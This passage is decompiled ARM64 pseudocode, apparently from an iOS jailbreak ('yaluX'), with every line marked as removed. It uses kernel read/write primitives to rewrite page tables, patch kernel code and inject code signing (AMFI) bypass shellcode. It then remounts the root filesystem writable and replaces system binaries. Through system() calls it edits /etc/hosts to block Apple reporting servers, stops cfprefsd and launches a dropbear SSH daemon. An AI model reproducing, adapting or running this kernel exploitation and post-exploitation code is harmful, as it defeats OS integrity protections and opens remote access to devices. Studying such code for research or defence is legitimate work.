- *(*(r31 + 0x1408) + 0x7e0) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x7f0) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x7f8) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x800) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x808) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x810) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x818) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x820) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x828) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x840) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x848) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x858) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x870) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x888) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x898) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x8a0) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x8a8) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x8b0) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x8b8) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x8c0) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x8c8) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x8d0) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x8d8) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x978) = zero_extend_64(0x0);
- *(*(r31 + 0x1408) + 0x9e0) = zero_extend_64(0x0);
- if (zero_extend_64(*(r31 + 0x17af)) == 0x0) goto loc_10001441c;
- loc_100013dd4:
- *(r31 + 0x1518) = _constget() + 0x10001e1b8;
- *(r31 + 0x1404) = r31;
- goto loc_100013df4;
- loc_100013df4:
- if (*(r31 + 0x1404) >= 0x10) goto loc_10001410c;
- loc_100013e00:
- r8 = *(r31 + 0x1518);
- r10 = *(r31 + 0x1404) << 0x2;
- asm { sxtw x10, w10 };
- if ((_ReadAnywhere32() & 0x7f000000) != zero_extend_64(0x3400)) goto loc_1000140fc;
- loc_100013e2c:
- r9 = *(r31 + 0x1518);
- r11 = *(r31 + 0x1404) << 0x2;
- asm { sxtw x11, w11 };
- r8 = r9 + r11 & 0xffffffffffffc000;
- r9 = *(r31 + 0x17b0);
- r8 = (r8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x13f8) = _ReadAnywhere64();
- *(r31 + 0x13f0) = _physalloc();
- for (*(r31 + 0x13ec) = r31; *(r31 + 0x13ec) < 0x800; *(r31 + 0x13ec) = *(r31 + 0x13ec) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x13f0);
- r12 = *(r31 + 0x13ec) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x13f8) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x13ec) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x7f8) = r0;
- *(r31 + 0x7f0) = _ReadAnywhere64();
- *(r31 + 0x7e8) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x13f8) & 0xfff;
- *(r31 + 0x7e0) = r8;
- *(r31 + 0x13f8) = *(r31 + 0x7e0) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x17b0);
- r8 = (0x10001e1e8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x7d8) = _WriteAnywhere64();
- *(r31 + 0x1520) = _physalloc();
- r0 = *(r31 + 0x13f0);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x13e0) = _ReadAnywhere64();
- for (*(r31 + 0x13dc) = r31; *(r31 + 0x13dc) < 0x800; *(r31 + 0x13dc) = *(r31 + 0x13dc) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x1520);
- r12 = *(r31 + 0x13dc) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x13e0) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x13dc) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x7d0) = r0;
- *(r31 + 0x7c8) = _ReadAnywhere64();
- *(r31 + 0x7c0) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x13e0) & 0xfff;
- *(r31 + 0x7b8) = r8;
- *(r31 + 0x13e0) = *(r31 + 0x7b8) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x13f0);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- r0 = _WriteAnywhere64();
- r1 = zero_extend_64(0xd503);
- asm { movk w1, #0x201f };
- r8 = *(r31 + 0x1520);
- r30 = *(r31 + 0x1518);
- r10 = *(r31 + 0x1404) << 0x2;
- asm { sxtw x10, w10 };
- *(r31 + 0x7b0) = r0;
- *(r31 + 0x7a8) = _WriteAnywhere32(r8 + (r30 + r10 & 0x3fff), r1);
- goto loc_10001410c;
- loc_10001410c:
- *(r31 + 0x1518) = _constget() + 0x10001e1b8 - 0x18;
- r30 = *(r31 + 0x1518) & 0xffffffffffffc000;
- r8 = *(r31 + 0x17b0);
- r0 = (r30 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x0, w0 };
- *(r31 + 0x13d0) = _ReadAnywhere64();
- *(r31 + 0x13c8) = _physalloc();
- for (*(r31 + 0x13c4) = r31; *(r31 + 0x13c4) < 0x800; *(r31 + 0x13c4) = *(r31 + 0x13c4) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x13c8);
- r12 = *(r31 + 0x13c4) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x13d0) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x13c4) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x7a0) = r0;
- *(r31 + 0x798) = _ReadAnywhere64();
- *(r31 + 0x790) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x13d0) & 0xfff;
- *(r31 + 0x788) = r8;
- *(r31 + 0x13d0) = *(r31 + 0x788) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x17b0);
- r8 = (0x10001e1e8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x780) = _WriteAnywhere64();
- *(r31 + 0x1520) = _physalloc();
- r0 = *(r31 + 0x13c8);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x13b8) = _ReadAnywhere64();
- for (*(r31 + 0x13b4) = r31; *(r31 + 0x13b4) < 0x800; *(r31 + 0x13b4) = *(r31 + 0x13b4) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x1520);
- r12 = *(r31 + 0x13b4) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x13b8) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x13b4) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x778) = r0;
- *(r31 + 0x770) = _ReadAnywhere64();
- *(r31 + 0x768) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x13b8) & 0xfff;
- *(r31 + 0x760) = r8;
- *(r31 + 0x13b8) = *(r31 + 0x760) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x13c8);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- r0 = _WriteAnywhere64();
- r1 = zero_extend_64(0x5800);
- asm { movk w1, #0x41 };
- r8 = *(r31 + 0x1520) + (*(r31 + 0x1518) & 0x3fff);
- *(r31 + 0x758) = r0;
- r0 = _WriteAnywhere32(r8, r1);
- r1 = zero_extend_64(0xd61f);
- asm { movk w1, #0x20 };
- r8 = *(r31 + 0x1520) + (*(r31 + 0x1518) & 0x3fff);
- *(r31 + 0x750) = r0;
- r0 = _WriteAnywhere32(r8 + 0x4, r1);
- r8 = *(r31 + 0x1520) + (*(r31 + 0x1518) & 0x3fff);
- *(r31 + 0x748) = r0;
- *(r31 + 0x740) = _WriteAnywhere64();
- goto loc_100016468;
- loc_100016468:
- NSLog(@"enabling patches");
- r1 = *(r31 + 0x17c8);
- *(r31 + 0x130) = _WriteAnywhere64();
- do {
- r0 = _constget();
- if (_ReadAnywhere32() == 0x1) {
- break;
- }
- *(r31 + 0x12c) = sleep(r31 | 0x1);
- } while (true);
- NSLog(@"patches enabled");
- r0 = _constget();
- *(r31 + 0x12a0) = _ReadAnywhere64();
- r0 = uname(r31 + 0xa79);
- *(r31 + 0x1298) = zero_extend_64(0xd8);
- *(r31 + 0x128) = r0;
- if (strstr(r31 + 0xd79, "16.0.0") != 0x0) {
- *(r31 + 0x1298) = zero_extend_64(0xd0);
- }
- r0 = _ReadAnywhere64();
- *(r31 + 0x1290) = r0;
- r0 = _ReadAnywhere32();
- *(r31 + 0x128c) = r0;
- *(r31 + 0x120) = _WriteAnywhere32(*(r31 + 0x1290) + 0x71, r0 & 0xffffffffffffffbf);
- *(r31 + 0x1280) = strdup("/dev/disk0s1s1");
- *(r31 + 0x127c) = mount("hfs", "/", r31 | 0x10000, r31 + 0x281);
- NSLog(@"remounting: %d", r1);
- r0 = _ReadAnywhere64();
- *(r31 + 0x1290) = r0;
- r0 = _WriteAnywhere32(r0 + 0x71, *(r31 + 0x128c));
- *(r31 + 0x1278) = r31 | 0x100;
- *(r31 + 0x118) = r0;
- *(r31 + 0x110) = r31 + 0x979;
- *(r31 + 0x10c) = _NSGetExecutablePath();
- r1 = zero_extend_64(0x0);
- *(r31 + 0x100) = zero_extend_64(0x0);
- *(r31 + 0x1270) = realpath$DARWIN_EXTSN();
- *(r31 + 0x1250) = *(r31 + 0x100);
- *(r31 + 0x1258) = r31 + 0x251;
- *(r31 + 0x1260) = r31 | 0x20000000;
- *(r31 + 0x1264) = r31 | 0x20;
- *(r31 + 0x1268) = zero_extend_64(0x0);
- *(r31 + 0xf8) = objc_msgSend(*objc_cls_ref_NSString, *0x10001db48);
- *(r31 + 0xf0) = objc_msgSend(*(r31 + 0xf8), *0x10001db50);
- *(r31 + 0x1248) = *(r31 + 0xf0);
- *(r31 + 0xec) = open("/.installed_yaluX", zero_extend_64(0x0));
- *(r31 + 0x1244) = *(r31 + 0xec);
- if (*(r31 + 0x1244) == -0x1) {
- *(r31 + 0xe0) = objc_msgSend(*(r31 + 0x1248), *0x10001db58);
- *(r31 + 0x1238) = *(r31 + 0xe0);
- *(r31 + 0xd8) = objc_msgSend(*(r31 + 0x1248), *0x10001db58);
- *(r31 + 0x1230) = *(r31 + 0xd8);
- *(r31 + 0xd0) = objc_msgSend(*(r31 + 0x1238), *0x10001db60);
- *(r31 + 0x1228) = *(r31 + 0xd0);
- *(r31 + 0xcc) = unlink("/bin/tar");
- *(r31 + 0xc8) = unlink("/bin/launchctl");
- *(r31 + 0xc4) = copyfile(*(r31 + 0x1228), "/bin/tar", zero_extend_64(0x0), r31 | 0xf);
- *(r31 + 0xc0) = chmod("/bin/tar", r31 | 0x1ff);
- *(r31 + 0x1228) = "/bin/tar";
- *(r31 + 0xbc) = chdir("/");
- r8 = *(r31 + 0x1258) + 0x18;
- *(r31 + 0x1950) = *(r31 + 0x1228);
- *(r31 + 0x1958) = "--preserve-permissions";
- *(r31 + 0x1960) = "-xvf";
- *(r31 + 0xb0) = *(r31 + 0x1228);
- *(r31 + 0xa8) = r8;
- *(r31 + 0xa0) = r31 + 0x969;
- *(r31 + 0x98) = objc_msgSend(*(r31 + 0x1230), *0x10001db60);
- *(*(r31 + 0x98) + 0x8) = zero_extend_64(0x0);
- *(r31 + 0x94) = posix_spawn(*(r31 + 0xa8), *(r31 + 0xb0), zero_extend_64(0x0), zero_extend_64(0x0), stack[2048], stack[2049]);
- NSLog(@"pid = %x", r1);
- *(r31 + 0x90) = zero_extend_64(0x0);
- *(r31 + 0x8c) = waitpid(*(*(r31 + 0x1258) + 0x18), zero_extend_64(0x0), *(r31 + 0x90));
- *(r31 + 0x80) = objc_msgSend(*(r31 + 0x1248), *0x10001db58);
- *(r31 + 0x1220) = *(r31 + 0x80);
- *(r31 + 0x78) = objc_msgSend(*(r31 + 0x80), *0x10001db60);
- *(r31 + 0x1228) = *(r31 + 0x78);
- *(r31 + 0x70) = zero_extend_64(0x0);
- *(r31 + 0x6c) = copyfile(*(r31 + 0x78), "/bin/launchctl", *(r31 + 0x70), r31 | 0xf);
- *(r31 + 0x68) = chmod("/bin/launchctl", zero_extend_64(0x1ed));
- *(r31 + 0x64) = open("/.installed_yaluX", zero_extend_64(0x202));
- *(r31 + 0x60) = open("/.cydia_no_stash", zero_extend_64(0x202));
- *(r31 + 0x5c) = system("echo '127.0.0.1 iphonesubmissions.apple.com' >> /etc/hosts");
- *(r31 + 0x58) = system("echo '127.0.0.1 radarsubmissions.apple.com' >> /etc/hosts");
- *(r31 + 0x54) = system("/usr/bin/uicache");
- *(r31 + 0x50) = system("killall -SIGSTOP cfprefsd");
- *(r31 + 0x48) = objc_msgSend(*objc_cls_ref_NSMutableDictionary, *0x10001db68);
- *(r31 + 0x40) = objc_msgSend(*(r31 + 0x48), *0x10001db70);
- *(r31 + 0x1218) = *(r31 + 0x40);
- *(r31 + 0x38) = *(r31 + 0x40);
- *(r31 + 0x30) = objc_msgSend(*objc_cls_ref_NSNumber, *0x10001db78);
- objc_msgSend(*(r31 + 0x38), *0x10001db80);
- *(r31 + 0x2c) = objc_msgSend(*(r31 + 0x1218), *0x10001db88);
- }
- _Block_object_dispose();
- r0 = system("echo 'really jailbroken'; (sleep 1; /bin/launchctl load /Library/LaunchDaemons/dropbear.plist)&");
- r8 = *(r31 + 0x18c8) + 0x100;
- *(r31 + 0x28) = r0;
- r0 = _WriteAnywhere64();
- *(r31 + 0x11f0) = *__NSConcreteStackBlock;
- *(r31 + 0x11f8) = r31 | 0xffffffffc0000000;
- *(r31 + 0x11fc) = r31;
- *(r31 + 0x1200) = 0x100017140;
- *(r31 + 0x1208) = 0x10001c6d0;
- *(r31 + 0x1210) = *(r31 + 0x1948);
- *(r31 + 0x20) = r0;
- dispatch_async(*__dispatch_main_q, r31 + 0x1f1);
- r0 = _constget();
- _ReadAnywhere64();
- NSLog(@"%x", *(r31 + 0x1888));
- r0 = sleep(r31 | 0x2);
- *(r31 + 0x11c8) = *__NSConcreteStackBlock;
- *(r31 + 0x11d0) = r31 | 0xffffffffc0000000;
- *(r31 + 0x11d4) = r31;
- *(r31 + 0x11d8) = 0x100017188;
- *(r31 + 0x11e0) = 0x10001c6f0;
- *(r31 + 0x11e8) = *(r31 + 0x1948);
- *(r31 + 0x1c) = r0;
- r0 = dispatch_async(*__dispatch_main_q, r31 + 0x1c9);
- goto loc_100016b8c;
- loc_1000140fc:
- *(r31 + 0x1404) = *(r31 + 0x1404) + 0x1;
- goto loc_100013df4;
- loc_10001441c:
- r0 = NSLog(@"amfi shellcode... rip!");
- r1 = r31 | 0x1;
- asm { movn x0, #0xf };
- asm { movk x0, #0x75f };
- asm { movk x0, #0x53cc };
- *(r31 + 0x738) = _WriteAnywhere32(0x10001e1b8 + r0, r1);
- *(r31 + 0x13a8) = _physalloc();
- *(r31 + 0x13a0) = _physalloc();
- *(r31 + 0x1398) = _constget() & 0x3fff;
- *(r31 + 0x730) = _constget() & 0xffffffffffffc000;
- *(r31 + 0x1390) = *(r31 + 0x730) - (_constget() & 0xffffffffffffc000);
- *(r31 + 0x1388) = _physalloc();
- *(r31 + 0x1380) = *(r31 + 0x1388) + *(r31 + 0x1390);
- NSLog(@"reloff %llx", r1);
- *(r31 + 0x1378) = _constget() & 0x3fff;
- *(r31 + 0x1370) = *(r31 + 0x1380) + *(r31 + 0x1378);
- *(r31 + 0x1378) = _constget() & 0x3fff;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1380) + *(r31 + 0x1378);
- *(r31 + 0x728) = r0;
- *(r31 + 0x720) = r1;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- *(r31 + 0x136c) = r31;
- *(r31 + 0x718) = r0;
- while (*(r31 + 0x136c) < 0x20) {
- r8 = zero_extend_64(0x120);
- r9 = *(r31 + 0x13a8);
- r11 = *(r31 + 0x136c) << 0x3;
- asm { sxtw x11, w11 };
- r9 = *(r31 + 0x13a0);
- r11 = *(r31 + 0x136c) * r8;
- asm { sxtw x11, w11 };
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x13);
- r9 = *(r31 + 0x13a0);
- r11 = *(r31 + 0x136c) * zero_extend_64(0x120);
- asm { sxtw x11, w11 };
- *(r31 + 0x710) = r0;
- *(r31 + 0x708) = 0xc8 + r9 + r11;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x14);
- r9 = *(r31 + 0x13a0);
- r11 = *(r31 + 0x136c) * zero_extend_64(0x120);
- asm { sxtw x11, w11 };
- *(r31 + 0x700) = r0;
- *(r31 + 0x6f8) = 0x110 + r9 + r11;
- _constget() + 0x10001e1c0;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x12);
- r9 = *(r31 + 0x13a0);
- r11 = *(r31 + 0x136c) * zero_extend_64(0x120);
- asm { sxtw x11, w11 };
- *(r31 + 0x6f0) = r0;
- *(r31 + 0x6e8) = 0xa0 + r9 + r11;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r9 = *(r31 + 0x13a0);
- r11 = *(r31 + 0x136c) * zero_extend_64(0x120);
- asm { sxtw x11, w11 };
- r9 = 0x30 + r9 + r11;
- r11 = *(r31 + 0x13a8);
- r1 = *(r31 + 0x136c) + 0x1 << 0x3;
- asm { sxtw x1, w1 };
- *(r31 + 0x6e0) = r0;
- *(r31 + 0x6d8) = _WriteAnywhere64();
- *(r31 + 0x136c) = *(r31 + 0x136c) + 0x1;
- }
- *(r31 + 0x1360) = _physalloc();
- *(r31 + 0x1360) = *(r31 + 0x1360) + 0x44;
- r0 = *(r31 + 0x13a0) + zero_extend_64(0x22e0);
- *(r31 + 0x6d0) = _WriteAnywhere64();
- *(r31 + 0x6c8) = _WriteAnywhere64();
- *(r31 + 0x1358) = _physalloc();
- *(r31 + 0x1350) = _physalloc();
- *(r31 + 0x6c0) = *(r31 + 0x1360) + 0xc8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1360) + 0x28;
- *(r31 + 0x6b8) = r0;
- *(r31 + 0x6b0) = r1;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1360) + 0x20;
- r30 = *(r31 + 0x1360) + 0x100;
- *(r31 + 0x6a8) = r0;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1360) + 0x100;
- r30 = *(r31 + 0x1360) + 0x100;
- *(r31 + 0x6a0) = r0;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1360) + 0x30;
- r30 = *(r31 + 0x1358) + 0x8;
- *(r31 + 0x698) = r0;
- r0 = _WriteAnywhere64();
- r30 = *(r31 + 0x1360) + 0x10;
- *(r31 + 0x690) = r0;
- r0 = _WriteAnywhere64();
- asm { movk x1, #0x4141 };
- r30 = *(r31 + 0x1360) + 0x18;
- *(r31 + 0x688) = r0;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1360) + 0x100;
- *(r31 + 0x680) = r0;
- *(r31 + 0x678) = r1 + 0x78;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1360) + 0x110;
- *(r31 + 0x670) = r0;
- *(r31 + 0x668) = r1;
- _constget() + 0x10001e1bc;
- r0 = _WriteAnywhere64();
- *(r31 + 0x134c) = r31;
- *(r31 + 0x660) = r0;
- while (*(r31 + 0x134c) < 0x800) {
- r8 = *(r31 + 0x1358);
- r10 = *(r31 + 0x134c) << 0x3;
- asm { sxtw x10, w10 };
- *(r31 + 0x658) = r8 + r10;
- _constget() + 0x10001e1b8;
- *(r31 + 0x650) = _WriteAnywhere64();
- *(r31 + 0x134c) = *(r31 + 0x134c) + 0x1;
- }
- *(r31 + 0x1340) = r31;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1350) + 0x8;
- *(r31 + 0x648) = r0;
- *(r31 + 0x640) = r8;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1350) + 0x100;
- *(r31 + 0x638) = r0;
- *(r31 + 0x630) = r8 + 0xa0;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1350) + 0x100;
- *(r31 + 0x628) = r0;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1350) + 0x100;
- *(r31 + 0x620) = r0;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1350) + 0x100;
- *(r31 + 0x618) = r0;
- *(r31 + 0x610) = r8 + 0x10;
- _constget() + 0x10001e1b8;
- r0 = _WriteAnywhere64();
- r1 = *(r31 + 0x1350) + 0x100;
- *(r31 + 0x608) = r0;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1350) + 0x100;
- *(r31 + 0x600) = r0;
- *(r31 + 0x5f8) = r8 + 0x28;
- _constget() + 0x10001e1b8;
- *(r31 + 0x5f0) = _WriteAnywhere64();
- *(r31 + 0x1388) = (_findphys_real() - 0x10001e1d0) + 0x10001e1d8;
- *(r31 + 0x1338) = ((_ReadAnywhere64() & 0xfffffffffffff000) - 0x10001e1d0) + 0x10001e1d8;
- r0 = *(r31 + 0x1338);
- r8 = *(r31 + 0x1388) >> 0x19;
- r8 = (r8 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x1330) = _ReadAnywhere64();
- _parse_block_tte(*(r31 + 0x1330));
- *(r31 + 0x1330) = *(r31 + 0x1330) & 0xffffffffffffffff;
- *(r31 + 0x1330) = *(r31 + 0x1330) & 0xffffffffffffffff;
- if (!CPU_FLAGS & NE) {
- NSLog(@"breaking it up");
- *(r31 + 0x1328) = _physalloc();
- *(r31 + 0x1320) = *(r31 + 0x1330) & 0xfffffffffffff000;
- *(r31 + 0x1330) = *(r31 + 0x1330) | 0x2;
- for (*(r31 + 0x131c) = r31; *(r31 + 0x131c) < 0x800; *(r31 + 0x131c) = *(r31 + 0x131c) + 0x1) {
- r8 = *(r31 + 0x1330) & 0xfff;
- r9 = *(r31 + 0x1320);
- r11 = *(r31 + 0x131c) << 0xe;
- asm { sxtw x11, w11 };
- *(r31 + 0x1330) = r8 | r9 + r11 & 0xfffffffffffff000;
- r8 = *(r31 + 0x1328);
- r9 = *(r31 + 0x131c) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x5e8) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x1330) & 0xfff;
- *(r31 + 0x5e0) = r8;
- *(r31 + 0x1330) = *(r31 + 0x5e0) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x1338);
- r8 = (0x10001e1e8 >> 0x19 & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- *(r31 + 0x5d8) = _WriteAnywhere64();
- }
- _parse_block_tte(*(r31 + 0x1330));
- r8 = ((*(r31 + 0x1330) & 0xfffffffffffff000) - 0x10001e1d0) + 0x10001e1d8;
- r9 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x1310) = r8 + r9;
- *(r31 + 0x1308) = _ReadAnywhere64();
- *(r31 + 0x1308) = *(r31 + 0x1308) & 0xffffffffffffffff;
- *(r31 + 0x1308) = *(r31 + 0x1308) & 0xffffffffffffffff;
- *(r31 + 0x5d0) = *(r31 + 0x1308) & 0xfff;
- *(r31 + 0x1308) = *(r31 + 0x5d0) | ((_constget() & 0xffffffffffffc000) + 0x10001e1b8 - 0x10001e1d8) + 0x10001e1d0 & 0xfffffffffffff000;
- r0 = _WriteAnywhere64();
- *(r31 + 0x1304) = r31;
- *(r31 + 0x5c8) = r0;
- while (*(r31 + 0x1304) < 0x800) {
- r8 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1304) << 0x3;
- asm { sxtw x10, w10 };
- *(r31 + 0x5c0) = r8 + r10;
- _constget() + 0x10001e1b8;
- *(r31 + 0x5b8) = _WriteAnywhere64();
- *(r31 + 0x1304) = *(r31 + 0x1304) + 0x1;
- }
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1a);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x5b0) = r0;
- *(r31 + 0x5a8) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x5a0) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x1a);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x598) = r0;
- *(r31 + 0x590) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x588) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x19);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x580) = r0;
- *(r31 + 0x578) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x570) = r0;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x568) = r0;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x560) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x19);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x558) = r0;
- *(r31 + 0x550) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x548) = r0;
- r0 = _WriteAnywhere64();
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x540) = r0;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x538) = r0;
- r0 = _WriteAnywhere64();
- r12 = zero_extend_64(0x14);
- r8 = *(r31 + 0x1358);
- r9 = *(r31 + 0x1340);
- r10 = r9 + 0x1;
- *(r31 + 0x1340) = r10;
- r8 = r8 + r9 * 0x8;
- *(r31 + 0x530) = r0;
- *(r31 + 0x528) = r8;
- r0 = _constget();
- r8 = 0x10001e000;
- r8 = r8 + 0x1b8;
- r9 = r0 + 0x8;
- r8 = r8;
- r0 = _WriteAnywhere64();
- r8 = zero_extend_64(0x0);
- r9 = *(r31 + 0x1358);
- r10 = *(r31 + 0x1340);
- r11 = r10 + 0x1;
- *(r31 + 0x1340) = r11;
- r9 = r9 + r10 * 0x8;
- *(r31 + 0x520) = r0;
